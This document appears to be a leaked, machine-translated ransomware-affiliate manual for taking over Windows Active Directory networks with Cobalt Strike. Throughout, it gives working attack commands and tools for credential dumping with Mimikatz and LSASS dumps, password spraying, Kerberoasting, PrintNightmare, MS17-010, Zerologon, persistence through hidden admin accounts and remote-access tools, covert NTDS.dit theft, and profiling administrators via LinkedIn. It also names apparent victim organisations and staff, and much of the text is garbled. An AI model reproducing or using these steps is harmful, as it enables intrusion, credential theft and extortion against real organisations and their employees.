

Cobalt strike

MANUALS_V2

Active Directory

I Tier . Increasing privileges and collecting information

1 . Initial exploration

1.1 . Search for company income

Finding the company's website

On Google : SITE + revenue (mycorporation.com + revenue) ("mycorporation.com" "revenue")
check more than 1 site, if possible
(owler, manta, zoominfo, dnb, rocketrich)

1.2 . Defined by AB

1.3 . **shell whoami** < ===== who am I

1.4 . **shell whoami / groups** -> my rights on the bot (if the bot came with a blue monik)

1.5 . 1 . **shell nltest / dclist:** <===== domain controllers

net dclist < ===== domain controllers

1.5 . 2 . **net domain_ controllers** < ===== this command will show the ip addresses of domain controllers

1.6 . **shell net localgroup administrators** <===== local administrators

1.7 . **shell net group / domain "Domain Admins"** <===== domain administrators

1.8 . **shell net group "Enterprise Admins" / domain** <===== enterprise administrators

1.9 . **the shell net group "the Domain Computers has" / domain** <===== total number - in the PC in the domain

1.10 . **net computers** < ===== ping all hosts with the output of ip addresses.

Then we act depending on the information received, for example, if there are 3 to wheelbarrows, then it is better to perform a Kerberoast attack first, because the bot will fall off in 2 hours while the balls are being removed, etc.

2. Removing the ball

We remove the balls in two cases:

1. When looking for where you can throw the payload. In this case, we only need balls with write permissions (admin balls without a ball with read permissions). To obtain them, we perform :

```
powershell-import /home/user/work/ShareFinder.ps1
```

```
psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out-File -  
Encoding ascii C: \ ProgramData \ sh.txt
```

2. When looking for the Old which will be pumped to the second stage. In this case, we need the balls with read permissions. We put on the domain administrator's token from which we will start uploading data (different admins may have access to different balls) and remove the balls with the following command:

```
powershell-import /home/user/work/ShareFinder.ps1
```

```
psinject 5209 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File  
-Encoding ascii C: \ ProgramData \ shda.txt
```

Next, we study the removed balls, we are interested in

- * Finance docks
- * Accounting
- * Aichi
- * Clients
- * Projects

And so on, it all depends on what our target is doing.

Then we pump out what we took away, more on that in the second section.

3 . Kerberoast attack

The goal is to get the admin hash for the next brute

Method 1 :

```
powershell-import /home/user/work/Invoke-Kerberoast.ps1
```

```
psinject 4728 x64 Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -  
FilePath c : \ ProgramData \ pshashes.txt - append -force -Encoding UTF8
```

Method 2 :

```
execute -assembly / home / user / work / Rubeus. exe kerberoast /  
ldapfilter: 'admincount = 1' / forma t: hashcat  
/outfile:C:\ProgramData\hashes.txt
```

```
execute -assembly / home / user / work / Rubeus. exe asreproast / forma t:  
hashcat /outfile:C:\ProgramData\asrephashes.txt
```

As a result, we get files in the directory C: \ ProgramData \, which may contain a hash, download and, if successful, send hashes to brute through team leads.

4 . Mimikatz

```
mimikatz  
version
```

Retrieve clear text passwords from memory

privilege :: debug - check for proper permissions

log nameoflog. log - run the logging function

sekurls a: : logonpasswords - the output of all stored on this computer passwords unencrypted

log

privilege :: debug

sekurls a :: logonpasswords

token :: elevate

lsadump :: sam

exit

lsadump :: dcsync / user: Administrator - pass YES learn on pdc

sekurls a: : pth / user: / domain: / ntlm: / the run: cmd - PASS DE Hush (juzat instead of a password - it NTLM) (the same thing that runas / user: user cmd # PASSWORD #)

Mimikatz in Cobalt Strike

getsystem

hashdump

logonpasswords

beacon> make_token domen \ user password - put on a token from the user

beacon> pth domen \ user NTLM - put on a token from the user

beacon> rev2self - return the original view of the session

beacon> dcsync domain. com (where domain. com - you insert the network domain) - take all the hashes from the domain (you need a YES token)

If you find login and hash:

the Domain pth \ by Admin Tuesday, pass (in the form of a hash)

shell dir \\ ip or hostname \ c \$

```
EliAdmin:          1001          :          aad          3b435b51404eeaad3b435b51404ee:
b0059c57f5249ede3db768e388ee0b14 :::
pth ELC \ EliAdmin b0059c57f5249ede3db768e388ee0b14
```

If you find your username and password

make_token Domain \ Admin Pass

rev2self - withdraw token

Reading lsass

Downloading the latest release of mimikatz from github

Open cmd as administrator

C: \ work \ mimikatz \ win32 > mimiKatz

privilege :: debug

sekurls a: : the minidump lsass.dmp - work with the dump file

log - duplicate output to the log

We look at the file mimikatz

We save:

1 . Logins and passwords in pure form

2 . If there is no password, save NTLM and SHA1 (Later, you can decrypt or use the Pass The Hash attack)

On Windows 2003 dump lsass. exe via taskmgr is not possible.

We open the "Task Manager", go into the processes, select lsass. exe, right-click on it and click Dump Process .

The process dump must lie in

C: \ user \ %% user %% \ AppData \ Local \ Temp \ lsass.DMP

We download the dump in any way

Using **procdump. exe** and **procdump64. exe**

Uploading **procdump. exe** or **procdump64. exe**

Run **procdump. exe** or **procdump64. exe**

procdump. exe -accepttula - ma lsass. exe C: \ compaq \ lsass.dmp

procdump64. exe -accepttula - ma lsass. exe C: \ compaq \ lsass.dmp

Download **lsass.dmp** and remove **lsass.dmp** and **procdump**

Zerologon

mimikatz lsadump :: zerologon / target t: [controller.domain.local] / account t: [controller] \$ / exploit

mimikatz lsadump :: zerologon / target t: DC01 .contoso. com / account t: DC01 \$ / exploit

Procdump: in mimikatz

lsadump :: mimidump LSAdump.dmp

log

sekurlsa a :: logonpasswords

exit

LSASS:

method via cob a: (*** special thanks to @Sven)

! *

1) getsystem

2) shell rundll32. exe C: \ windows \ System32 \ comsvcs.dll, MiniDump PID

C: \ ProgramData \ lsass.dmp full (we specify the pid from lsas)

(remove on a remote wheelbarrow) **coba_wmic:**

shell wmic / node: [target] process call create "cmd / c rundll32.exe C: \ windows \ System32 \ comsvcs.dll, MiniDump PID

C: \ ProgramData \ lsass.dmp full "

remote-exec psexec [target] cmd / c rundll32. exe

C: \ windows \ System32 \ comsvcs.dll, MiniDump PID

C: \ ProgramData \ lsass.dmp full

=====

method via RDP:

open **taskmgr => PKM po lsass process => create Dump file .** \\ Gave it, download the file to your computer.

5 . Checking for saved passwords in domain Group Policy files

execute -assembly / home / user / work / Net-GPPPassword. exe

6 . SMB Autobrut

The input data for carrying out this attack are only passwords.

- those that dumped from the CharpChrome browser
- those who sdampilis SeatBelton
- those that dumped in the process of work within the network (mimikatts, etc.)

And in general any others, for example, found recorded in files

If these passwords less than we can run in a brute force attack - supplement safely them from the following list of the most private occurring in the corporate environment.

Password1
Hello123
password
Welcome1
banco @ 1
training
Password123
job12345
spring
food1234

It is also recommended to use a list of passwords based on the times of the year and the current year. Given that passwords are changed once in three months - you can take a "reserve" for the generation of the sheet. For example, in August 2020 , we create a list with the following content

June2020
July2020
August20
August2020
Summer20
Summer2020
June2020!
July2020!
August20!
August2020!
Summer20!
Summer2020!

All passwords above fall either into 3 out of 4 requirements for Active Directory passwords (which is enough for users to set them), or into all 4 requirements.

Approx. we consider the most popular version of the requirements.

Scenario with domain administrators

1. We collect the list of domain administrators with the command
`shell net group "domain admins" / dom`

We write the received data to the `admins.txt` file

- 2 . Fill the file on the host in the folder `C: \ ProgramData`

- 3 . Requesting information on the domain account blocking policy (protection against brute force)

```
beacon> shell net accounts / dom
```

Tasked beacon to run: `net accounts / dom`

host called home, sent: 48 bytes

received output:

The request will be processed at a domain controller for domain `shookconstruction.com`.

Force user logoff how long after time expires?: Never

Minimum password age (days): 1

Maximum password age (days): 42

Minimum password length: 6

Length of password history maintained: 24

Lockout

threshold:

Never

Lockout duration (minutes): 30

Lockout observation window (minutes): 30

Computer

role:

BACKUP

We are interested in the option **Lockout threshold** which most likely contains a specific numeric value in the future , we need to use as a parameter (in this case, stands **for Never** - it means that protection from brute force password disabled.

In this Haidee in the future , we shall indicate the value of 5 as the estimated most likely occurring.

The **Minimum password length** parameter indicates the minimum allowed number of password characters required to filter our "list" of passwords that we will set.

- 4 . In the source code of the script, specify the domain in which the script will run :

```
$ context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext ("Domain", "shookconstruction.com")
```

- 5 . Importing and running the script

```
powershell-import /home/user/work/scripts/Invoke-SMBAutoBrute.ps1
```

```
psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Hello 123, Welcome 1, password, banco @ 1, training, Password123, spring, food1234, job12345, 1qazXDR% +"
```

The list of passwords is of one who at us was "found" and two from a list of popular passwords

6 . We look at the progress of the script and see the result
Success! Username: Administrator. Password: 1qazXDR% +
Success! Username: CiscoDirSvcs. Password: 1qazXDR% +

We got two domain administrators out of the way.

The scenario without specifying a list of users differs in only two things.
psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR% +" -LockoutThreshold 5

We do not specify the **UserList** and **ShowVerbose** parameters . The absence of the first means is that the bust will be carried out by ALL users of the domain, the absence of second points to the fact that the displays will only SUCCESSFUL results.

Success! Username: Administrator. Password: 1qazXDR% +
Success! Username: CiscoDirSvcs. Password: 1qazXDR% +
Success! Username: support. Password: 1qazXDR% +
Success! Username: accountingdept. Password: 1qazXDR% +

As you can see, we were able to find accounts of other users that may be useful for further promotion on the network and raising rights. If a positive result is not to be, you can repeat after a while (optimally multiply on two option Lockout duration before the next attempt) with a new list of passwords.

The end of the work of the script will be observed output in Beacon Posts

7. PrintNightmare

The vulnerability is fresh, but already sensational. We use it until we shut it down) CVE -2021-34527 Allows you to create a local administrator, useful if an agent arrived with the rights of a simple user
On the agent:

```
powershell- import // import the file CVE-2021-34527.ps1
```

```
powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "FUCKER" -DriverName "Xeroxxx" // create user HACKER with password FUCKER, add to localadmins
```

```
spawnd COMPNAME \ HACKER FUCKER https // instead of https the listener name The agent arrives from under our new local administrator There is also a chance to get the agent from under SYSTEM * , we do the following after import:
```

```
Invoke-Nightmare -DLL "\ polniy \ put \ do \ payload.dll"
```

```
https : //github.com/calebstewart/CVE-2021-1675
```

8 . ms17_010

Windows XP and 2003 - do not have the ms17_010 patch

Windows 7 , 8 , 10 , 2008 , 2012 , 2016 - can be not patched and correspondingly vulnerable. During the time the attack on them, to increase chances on a successful operation specify login and password user domain.

Removed AD, pinganulized ip addresses.
ip addresses must be written in one line separated by spaces.

1 . Launching a proxy in Cobalt Strike:
In the Cobalt Strike console, enter the command:

```
socks 18585  
18585 - port
```

2 . Scanning on the presence of vulnerabilities:
Enter the following commands into the **Metasploit** console :

```
use auxiliary / scanner / smb / smb_ms17_010  
set Proxies socks4: 172.98.192.214 : 18589  
set threads 10  
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40
```

When the attack on Windows 7 , 8 , 10 , 2008 , 2012 , 2016 additionally specify:

```
set smbuser login  
set smbdomain domain  
set smbpass password
```

run

auxiliary / scanner / smb / smb_ms17_010 - auxiliary module Metasploit, performing the scanning target in the presence of vulnerability ;
the Proxies socks4 set: 172.98.192.214 : 18589 - indicate metasploit use a proxy to access to the target network;

172.98.192.214 - ip of the Cobalt Strike server
18589 - port

set threads 10 - use 10 threads

set RHOSTS - all target ip addresses **separated by a space**

run - run the module

Result :

```
[*] Scanned 10 of 44 host
```

```
[+] 10.0.0.200 : 445 -Host is VULNERABLE to... <= = vulnerable host
```

We save the ip addresses of vulnerable hosts.

3 . Using the vulnerability to obtain session meterpreter

```
use exploit / windows / smb / ms17_010_psexec
```

```
set Proxies socks4: 172.98.192.214 : 18589
```

```
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40
```

```
set payload windows / meterpreter / bind_tcp
```

```
set verbose 1
```

```
run
```

If the session did not open, change the format of the payload file :

```
set target 1
```

```
run
```



```
set target 2
run
set target 3
run
```

Change the useful load and again in turn try to open a session of various formats of files of useful load.

```
set payload windows / meterpreter / bind_tcp_rc4
We also try all file formats
```

If it doesn't work again : The next method rarely works . Try prokinut session in **the Cobalt Strike** :

```
set payload windows / meterpreter / reverse_https
set lport 443
set lhost 172.98.192.214 ( ip Cobalt Strike)
```

And again, try all formats of files

```
use exploit / windows / the smb / ms17_010_psexec - module (exploit) the
Metasploit , delivering useful load on the purpose and the opening session
set payload The windows / Meterpreter / bind_tcp - indicate how useful load
use.
```

target 1 is a **ps1** (on windows xp and windows 2003 PowerShell not work, use on a new version of windows)

target 2 is **exe**

target 3 is **mof**

Result:

The session should appear . In **Metasploit** , you can check the team **sessions** .

After receipt of the session trying to get the login and password of the account records admin domain:

We pass to the session. **Sessions 1** command (1 - session number)

getuin - get the pid of the process on which the session is running . If there is a pid , then the session is alive.

hashdump - save hashes

Remove passwords and hashes:

load mimikatz - load mimikatz to the target.

wdigest - trying to get passwords entered by the user himself

kerberos - ?

livessp - ?

ssp - entered via RDP

tspkg - ?

background - minimize the session (then you can open it again from **sessions 1**)

If the session to get so and does not happen, then we try to create an administrator and connect through it for RDP.

4 . Exploiting a vulnerability to run a command (creating a user and adding him to the local administrators group)

```
use auxiliary / admin / smb / ms17_010_command
set Proxies socks4: 172.98.192.214 : 18589
```

```
set RHOSTS 10.0.0.200 10.0.0.37 10.0.0.200 10.0.0.81
set command net user OldAdmin 1Q2w3E4r5T6y / add
set verbose 1
run
set command net localgroup Administrators OldAdmin / ADD
run
```

use **auxiliary / admin / smb / ms17_010_command** - Metasploit auxiliary module that runs the specified command with administrator rights on the target and returns the result to the Metasploit console ;
set command ... - specify which command to execute;
net user OldAdmin 1Q2w3E4r5T6y / add - create a user;
net localgroup Administrators OldAdmin / ADD - add a user to the local administrators group
set verbose 1 - more detailed output. If something doesn't work, send it to someone more experienced.

Result:

It must fulfill the specified command.

Understand that the team worked can be on the line of **The command completed successfully**

We connect via RDP.

Option 1 - run kriptovat payloada (can get a session)

Everything is simple here, in any way we drop the file and run it.

Option 2 - get a dump of the **lsass.exe** process and get the credits from it locally.

How to do it is written in **mana Mimikatz**

9 . RouterScan

Software for Windows, allows you to brute-force routers, cameras, some NAS (depending on the type of authorization), if they have a web interface.

First trying to understand that for the device, and then apply the appropriate for his exploits (breaks mikrotik even if the firmware is below 6.12 for the second and gives the password in pure form) If there are no exploits for this model , then it starts to brute. We load the dictionaries, if necessary, into 3 text files starting with **auth _ ***. Txt** , lying in the root of the program. In this form:

```
login password
```

```
login password
```

Only not through space indents, but through Tab

Podnikaem socks in Kobe, proksiruem through ProxyFier, run at himself on windsurfing, expose ranges or specific ip, number of streams (5 most something) and timeout (this value is better to increase up to 3000 ms, to do not skip). The default ports have already been specified, you can add your own if the web does not hang on the standard ones. The Scanning's the Module leave a tick on the first (Router scan main) and HNAP 1.0 , the rest of you are unlikely whether useful. We press start, wait and hope for the result

10. Zerologon

There are two ways.

1. Through the minicom, in the mana about the mimic
2. By connecting the script to the koba

Download the script here

<https://github.com/rsmudge/ZeroLogon-BOF>

We connect, as usual, the address of the script

Z eroLogon-BOF / dist / zerologon.cna

A new command should appear in the console - **zerologon**

Application:

net domain - get the domain name (for example domain.local)

We launch the exploit :

zerologon iunderstand domain.local

iunderstand is a stop word. By exploiting this vulnerability, we reset the password. This exploit can cause the domain controller to malfunction. LASTLY USE.

If successful, we get:

Success! Use pth. \\% S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync

We do everything as written. we carry out

pth. \\% S 31d6cfe0d16ae931b73c59d7e0c089c0

And we carry out

dcsync domain.local

If everything worked out successfully, we get NTDS

11 . Anchored

Immediately after obtaining **SYSTEM rights** .

AnyDesk - on abandoned hosts

Atera - on the rest

11.1 . AnyDesk fix

Function AnyDesk {

```
mkdir "C: \ ProgramData \ AnyDesk"  
# Download AnyDesk  
$ clnt = new -object System.Net.WebClient  
$ url = "http://download.anydesk.com/AnyDesk.exe"  
$ file = "C: \ ProgramData \ AnyDesk.exe"  
$ clnt.DownloadFile ($ url, $ file )
```

```
cmd. exe / c C: \ ProgramData \ AnyDesk. exe --install C: \ ProgramData  
\ AnyDesk --start-with-win - silent
```

```
cmd. exe / c echo J9kzQ2Y0q0 | C: \ ProgramData \ anydesk. exe - set - password
```

```
net user oldadministrator "qc69t4B # Z0kE3" / add  
net localgroup Administrators oldadministrator / ADD  
reg add "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ Userlist" / v oldadministrator / t REG_DWORD / d 0 / f
```

```
cmd. exe / c C: \ ProgramData \ AnyDesk. exe - get -id
```

```
}
```

AnyDesk

Executing the code in **Powershell ISE Run As Admin**

At the output, we **get ID**

We keep it to ourselves

Download Anydesk on a separate Dedicated Server \ VPS \ Virtual Machine and specify the ID

Click Console Account

Enter your password

Quote

```
J9kzQ2Y0q0
```

And then we log in as a local admin or domain account and use the charms of **Anydesk**

You can also download / upload to / from the victim's machine, which is convenient in scanning and searching for documentation pointwise.

11.2 . Fixing Atera

Website **http s: //app.atera. com**

Register

At the top, click **Install agent**

Download the agent and upload it to the bot

We start the agent:

```
shell AGENT INSTALLER.msi
```

Access should appear on the site in the Devices section

Removing the agent installer

13 . Final razv th order

13.1 . Search for trusts

```
shell nltest / domain_trusts / all_trusts
```

13.2 . We get NTDS

If you find the Admin Domain
make_token Domain \ Admin pass
shell dir \\ ip or hotname \ c \$ on PDK or DK, if we are allowed to pass:
dcsync domain. com (domain. com - network domain)
We get NTDS
Necessary privileges :
ReplicatingDirectoryChangesAll
ReplicatingDirectoryChanges

```
SPLESS DUMP NTDS
shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password:
"cleartextpass" process call create "cmd / c vssadmin list shadows >> c: \
log.txt"
```

we make a request for listing shadow copies, there is an indication of the date, check that there is a fresh date almost certainly they are already there, if not, then we do it ourselves

```
net start Volume Shadow Copy
shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password:
"cleartextpass" process call create "cmd / c vssadmin create shadow / for =
C: 2> & 1"
```

further in the listing of shadow copies we find the freshest
Shadow Copy Volume: \ \? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55
accordingly, we need a copy number for the next command

```
shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password:
"cleartextpass" process call create "cmd / c copy \ \? \ GLOBALROOT \
Device \ HarddiskVolumeShadowCopy55 \ Windows \ NTDS \ NTDS.dit c: \ temp \
log \ & copy \ \? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55 \
Windows \ System32 \ config \ SYSTEM c: \ temp \ log \ & copy \ \? \
GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55 \ Windows \ System32 \
config \ SECURITY c : \ temp \ log \ "
```

files ntds.dit / security / system should fall into c : \ temp \ log \
we take the portable console 7 s and pack it into an archive with a password
Code: [Select]

```
7 za . exe a - tzip - mx 5 \\ DC 01 \ C $ \ temp \ log . zip \\ DC 01 \ C $
\ temp \ log - pTOPSECRETPASSWORD
```

we download the password-protected archive for ourselves, if we get an error when decrypting the ntds file (the file is damaged), then we do the following

```
Esentutl / p C: \ log \ ntds.dit
```

the trick of this method is that in fact we don't dump anything, we just take and pump out ntds
in order not to get burned by the fact that we are pulling out exactly ntds, we pack it into a password-protected archive

if you have troubles with something that is fired and thrown out of the network after an NTDS dump - try this method
it can only be burned by the very fact of some leaking data from the CD, and it is impossible to analyze what exactly you are dragging without knowing the password from the archive

13.3 . Search for backups (Backup) and NAS (NetScan)

A great tool is NetScan , which makes it easy to scout and find NAS \ Backup , etc.

Scans networks by range using the credentials of the user / administrator on whose behalf the software was launched.
It gives the following information:

Hostname, Open Ports, Group / Domain Membership, Total Disk Space, Available Shares, Device Manufacturer, PC / Server Role

1) We load folder NetScan any infected PC. Let's say , the C: \ Programdata \ netscan

2) cd C: \ programdata \ netscan

3) make_token DOMAIN \ admin password

4) shell netscan.exe / hide / auto: "result.xml" / config: netscan.xml / range : 192.168 . 0.1 - 192.168 . 1.255 or for range.txt = 10.1.200.0/24

Where 0 /24 network mask so take each IP after pingovki and Throwing a file range . txt

Or we will write the unlikely IP via ENTER to the file range . txt and use the command :

```
shell netscan.exe / hide /auto:"result.xml" / config: netscan.xml /file:range.txt
```

We change the ranges to our own, do not touch the rest

5) We are waiting. After completion, the result.xml file will appear in our folder, download it to your computer

6) We open NetScan on our Windows, load the downloaded file there and see the result in a convenient format.

Sort by disk size, so you will immediately understand where the juice is hidden //

13.4 . Huntim admins

And so, if in us there is a server \ NASy \ tapes or cloud storage which consist backups, but access is not what we need credo that there is only from the administrator.

Correspondingly it we need to skhantit. Usually in those networks where we work admins 1-2-3 , no more.

People are divided into 3 types of positions :

Senior
Medium
Junior

Of course, we are interested seniors so how have these privileges \ accesses (read passwords) more.

For a start I will write a few options for how to determine the accounting records of those most administrators, who are on board the passwords.

Part 1
Option number 1:

Interrogating YES

beacon> shell net group "domain admins" / domain

Tasked beacon to run: net group "domain admins" / domain

host called home, sent: 64 bytes

received output:

La demande sera traitée sur contrôleur de domaine du domaine DOMAIN.com.

Nom de groupe Domain Admins

Commentaire Designated administrators of the domain

Membres

Administrator ClusterSvc createch

Createch2 d01adm da9adm

p01adm PMPUser q01adm

repl s01adm Sapserviced01

SAPServiceDA9 sapservicep01 SAPServiceQ01

sapservices01 SAPServiceSND SAPServiceSOL

services services2 sndadm

soladm somadm staseb

telnet Johnadm

La commande s'est terminée correctement.

We look and see with our eyes filtering service accounts and non- service ones.

Service from the list above is for example

SAPServiceDA9

services

telnet

servies2

Sapservice01

...

What uchetki us ASAP ALL fit:

staseb

Johnadm

They were recorded.

We can see who they are in **adfind_persons.txt**

or through the command

shell net user staseb / domain

See example :

beacon> shell net user ebernardo / domain

Tasked beacon to run: net user ebernardo / domain

host called home, sent: 57 bytes

received output:

User name ebernardo

Full Name Eric Bernardo

Comment

User's comment

Country / region code (null)

Account active Yes

Account expires Never

The Password for last set 12/8/2020 12 : 05: 15 PM

The Password the expires 06.06.2021 12 : 05: 15 PM

The Password changeable 12.08.2020 12 : 05: 15 PM

Password required Yes

User may change password Yes

Workstations allowed all

Logon script

User profile

Home directory

Last logon 2021-01-29 2 : 25: 24 PM

Logon hours allowed All

Local Group Memberships * Administrators * Remote Desktop Users

* Server Operators

Global Group memberships * US Users * Great Plains Users

* Citrix Group * VPN Users Saskatoon

* Admins - AD Basic * VPNUsersHeadOffice

* Executives * All Winnipeg Staff

* Scribe Console Users * Domain Admins

* VPN Users USA * Workstation.admins

* Domain Users

The command completed successfully.

We look at who he is - he is in a dozen groups, SOMETIMES in the Comment column they write who he is - **engineer \ system administrator \ support \ business consultant.**

in of Last the Logon uchetki should be ACTIVE - it has fins logon today \ yesterday \ on this week, but did not a year ago or Never.
If not become clear who is so after the survey see **adfind + verify linkedin (p and Cereal below) .**

So 2-3-5 uchetok as a result you get out of the domain of administrators and you question everyone and should have an idea of who he is . As a result of 1-2-3 accounting, it turns out to find who can be an administrator.

Option number 2:

Turning into home analysts - **watching Adfind.**

We are interested in the **adfind_groups** file

We go in, we see a bunch of text

Press Ctrl + F (Notepad2 / Geany)

Introduce

dn: CN =

And the button **Find All in current document .**

at the output we get ABOUT the following (I cut out a piece and left 5 lines, usually there are from 100 to 10,000 lines)

adfind_groups: 3752: dn: CN = SQLServer2005SQLBrowserUser \$ TRUCAMTDC, CN = Users, DC = domain, DC = com

adfind_groups: 3775: dn: CN = clubsocial, CN = Users, DC = domain, DC = com

adfind_groups: 3800: dn: CN = Signature Intl- Special, OU = Groupes, OU = Infra, DC = domain, DC = com

adfind_groups: 3829: dn: CN = FIMSyncAdmins, CN = Users, DC = domain, DC = com

adfind_groups: 3852: dn: CN = GRP- GRAPHISTE, OU = FG-GRP, DC = domain, DC = com

And so, we have extracted the active directory groups .

What we are interested and for which we have it made - in **active A directroy** everything is structured and in the **USA EU networks still does maksiiimalno clear transparent with comments, notes, prescriptions and so on .**

We are interested in a group that deals with IT, administration, LAN engineering .

Something that after a search , we issued - take out in the new notepad and do search on are following key words:

IT, Admin, engineer

In the example above, we find the following line

adfind_groups: 3877: dn: CN = IT, CN = Users, DC = domain, DC = com

Go to line 3877 in **adfind_Groups.txt** and see the following:

dn: CN = IT, CN = Users, DC = domain, DC = com

> objectClass: top

> objectClass: group

> cn: IT

```
> description: Informatique
> member: CN = MS Surface, OU = IT, DC = domain, DC = com
> member: CN = Gyslain Petit, OU = IT, DC = domain, DC = com
> member: CN = ftp, CN = Users, DC = domain, DC = com
> member: CN = St-Amand \, Sebastien \, CDT, OU = IT, DC = domain, DC = com
```

Users ftp and the MS the Surface miss, and that's **Gyslain the Petit and St Amand Sebastien take in turnover.**

Next, open **ad_users.txt**

Introduce **Gyslain the Petit**

We find a user with the following information:

```
dn: CN = Gyslain Petit, OU = IT, DC = trudeaucorp, DC = com
> objectClass: top
> objectClass: person
> objectClass: organizationalPerson
> objectClass: user
> cn: Gyslain Petit
> sn: Petit
> title: Directeur, technologie de l'information
> physicalDeliveryOfficeName: 217
> givenName: Gyslain
> distinguishedName: CN = Gyslain Petit, OU = IT, DC = trudeaucorp, DC =
com
> instanceType: 4
> whenCreated: 20020323153742. 0Z
> whenChanged: 20201212071143. 0Z
> displayName: Gyslain Petit
> uSNCreated: 29943
> memberOf: CN = GRP_Public_USA_ P, OU = Securite-GRP, DC = trudeaucorp, DC
= com
> memberOf: CN = GRP-LDAP- VPN, OU = FG-GRP, DC = trudeaucorp, DC = com
> memberOf: CN = IT Support, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = Directeurs, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = GRP- IT, OU = FG-GRP, DC = trudeaucorp, DC = com
> memberOf: CN = Signature Canada, OU = Groupes, OU = Infra, DC =
trudeaucorp, DC = com
> memberOf: CN = EDI, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = IT, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = TRUDEAU- MONTREAL, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = everyone, CN = Users, DC = trudeaucorp, DC = com
> uSNChanged: 6908986
> department: IT Manager
```

Enjoying the title and who is among us here ? Director of Information Technology. The bull's-eye, it looked like, but the director does not always have in themselves passwords, and that's the System by Administrator What else - completely.

Therefore , we carry out similar manipulations for the second user and more . Do yourself (= in small meeting rooms) make notes who have one and write logins from adfaynda (sAMAccountName) approximately as follows:

```
> sAMAccountName : gpetit
```

gpetit - Director of IT

staseb - such and such

The second part of option # 2 (Simplified):

We look initially at **adfind_users.txt**

We do a search by

title:

description

departament

If you are lucky, then there will be a direct written post. In my test case, it looks like this:

```
adfind_persons: 280: > title: Responsable, logistique direct import
adfind_persons: 1836: > title: Chef des services techniques
adfind_persons: 1955: > title: Chef comptable
adfind_persons: 4544: > title: Directeur, technologie de l'information
adfind_persons: 6064: > title: Présidente
adfind_persons: 6191: > title: Chargée de projets, mise en marché
adfind_persons: 6285: > title: Directrice marketing
adfind_persons: 6848: > title: Coordinatrice à la logistique
adfind_persons: 6948: > title: Responsable de l'expédition
```

Accordingly , we run our eyes and the accounts are found.

And so, these are easy methods. Consider alternative searches for admin accounts .

I know so far only 1 method of the simple ones - **linkedin**

We drive a request into Google

NASHERVA.COM linkedin

instead of a domain - insert the domain of the office.

Go to **Members**

We do a search there by

System

Admin

Engineer

Network

It

If you have somebody that has dropped the name + surname, then trying to drive it in **adfaynd** and **uchetki** found.

And so, part number 1 is over.

Getting to Hunt administrator and inspection

Part # 2:

Huntim admin as standard via **SharpView**

SharpView.exe can take in the conference at their team lead or a konfy software .

The command for a hunt is as follows:

On Linux

```
execute-assembly /home/user/soft/scripts/SharpView.exe Find-  
DomainUserLocation -UserIdentity gpetit
```

On Windows

```
execute-assembly C: \ Users \ Andrey \ Soft \ Hacking \ SharpView.exe Find-  
DomainUserLocation -UserIdentity gpetit
```

where **gpetit** - accounting record of anyone looking. what is written in **adfinusers** in **sAMAccountname** - we insert it here.

At the output, we get approximately the following log:

```
UserDomain      : domain  
UserName        : gpetit  
ComputerName    : DC01.domain.LOCAL  
IPAddress       : 172.16.1.3  
SessionFrom     : 192.168.100.55  
SessionFromName:  
LocalAdmin      :
```

```
UserDomain      : domain  
UserName        : gpetit  
ComputerName    : SQL01.domain.LOCAL  
IPAddress       : 172.16.1.30  
SessionFrom     : 192.168.100.55  
SessionFromName:  
LocalAdmin      :
```

```
UserDomain      : domain  
UserName        : gpetit  
ComputerName    : lptp-gpetit.domain.LOCAL  
IPAddress       : 172.16.1.40  
SessionFrom     : 192.168.100.55  
SessionFromName:  
LocalAdmin      :
```

And so, the log will be indicative of such a format, like us with these be - In the first place, as a working software - it polls where in Dunn moment though both the authorized s user. A user at us is not easy - it is the administrator and in which the time it can be authorized on 20-30-50 servers.

How can we filter and not get bogged down in this?

In the first , remove uninteresting to us OS

N For example the first in the list of DC01 - clearly DomenKontroller01, can it check on **adfind_computers.txt** or **portscan 172.16.1.13** and see that it is the server operating system. And we need a client room.

The second is SQL01 - Database OS. We do not fit.

Let's look at the third one - **lptp-gpetit** . Hmm, our user name **gpetit** , and **lptp** - means **the laptop** , it has a laptop. Perhaps this

is just him.

It also happens that the admin is connected ONLY to the server OS, but in the SessionFrom column - an ip from another subnet (**for example, a VPN subnet**) where he sits quietly but **SharpView** did not "**take**" him - you can also take it into circulation.

Next is an IMPORTANT POINT.

Beginners first thing they are trying to raise there the session and **VERY OFTEN catch Alert. Alert at the admin** = cutting out of the network, loss of time, nerves. So do NOT!

What we're going to do is **poll it through the file system** .

We do the following :

```
shell net view \\ 172.16.1.40 / ALL
```

At the exit we see his local wilds

```
C $
```

```
D $
```

We shoe the token (It is the token that is recommended , because pth leaves a slightly different **Event ID** on the **domain controller** , and **this can be noticed by the admin** and cut us out)

Open File Manager in cobalt:

```
\\ 172.16.1.40 \ c $
```

L because we use the shell through

```
shell dir \\ 172.16.1.40 \ c $
```

We look at what is on the **C drive** fluently

Go to the folder

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit
```

Usually, if it's REALLY vorkstantsiya admin - **at it a lot of junk ala Virtualbox / putty / winscp** and so on , and m .

Like us he "**examine**" here's a list of interesting directories:

Work table

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Desktop
```

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ OneDrive
```

```
